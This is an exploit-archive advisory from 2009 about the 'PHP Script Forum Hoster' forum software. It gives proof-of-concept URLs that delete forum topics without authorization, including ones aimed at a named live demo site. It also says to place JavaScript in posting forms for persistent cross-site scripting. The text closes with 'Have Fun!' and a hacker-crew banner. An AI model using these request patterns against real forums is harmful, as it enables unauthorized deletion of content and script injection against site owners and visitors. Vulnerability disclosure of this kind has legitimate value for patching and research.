[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : PHP Script Forum Hoster (Topic Delete/XSS) Multiple Vulnerabilities
# Published : 2009-08-06
# Author : int_main();
# Previous Title : Logoshows BBS 2.0 (DD/ICH) Multiple Remote Vulnerabilities
# Next Title : TYPO3 CMS 4.0 (showUid) Remote SQL Injection Vulnerability 


_______         ___________
   _   ___  ___   _____/
/  /_  \  /  /|    __)  
  _/   >    < |        
 _____  /__/_ \___  /   
       /      /    /    
                       #ruling the web since 9/2008


"Word is born 
            Fight the war 
                         fuck the norm!"


[=]    "PHP Script Forum Hoster" Multiple vulnerabilities

       Vendor   : http://www.shop-020.de
       Download : http://www.shop-020.de/phpscriptat-p12h4s5-PHP-Forum-Hoster-Por.html
       Author   : int_main();
       Site     : 0xFEE1DEAD.de
       Greez    : BrainWash,Thunderbird,STEAL,The Papst,eddy14,MagicFridge,Patrick B,Hero,tmh,Lorenz,iNs,Cod1K

[================================================================================] 

1.) unauthorized topic deletion

Get the Forum and Topic ID ( "topic" "forum" )


http://www.city-demo.at/forum//topic.php?topic=12&forum=6

Unauthorized deletion:

http://www.city-demo.at/forum//manageforum.php?forum=6&&step=6&delt=12

POC:

http://[site]/forum//topic.php?topic=[topicid]&forum=[forumid]
http://[site]/forum//manageforum.php?forum=[forumid]&&step=[forumid]&delt=[topicid]

[================================================================================] 


2.) persistent XSS vulnerabilitys (some fun with HTML :P)

http://www.city-demo.at/forum/postthread.php

http://[site]/forum//postthread.php

Write some Javascript/HTML Code into the $_POST sections.


Have Fun!

# www.Syue.com [2009-08-06]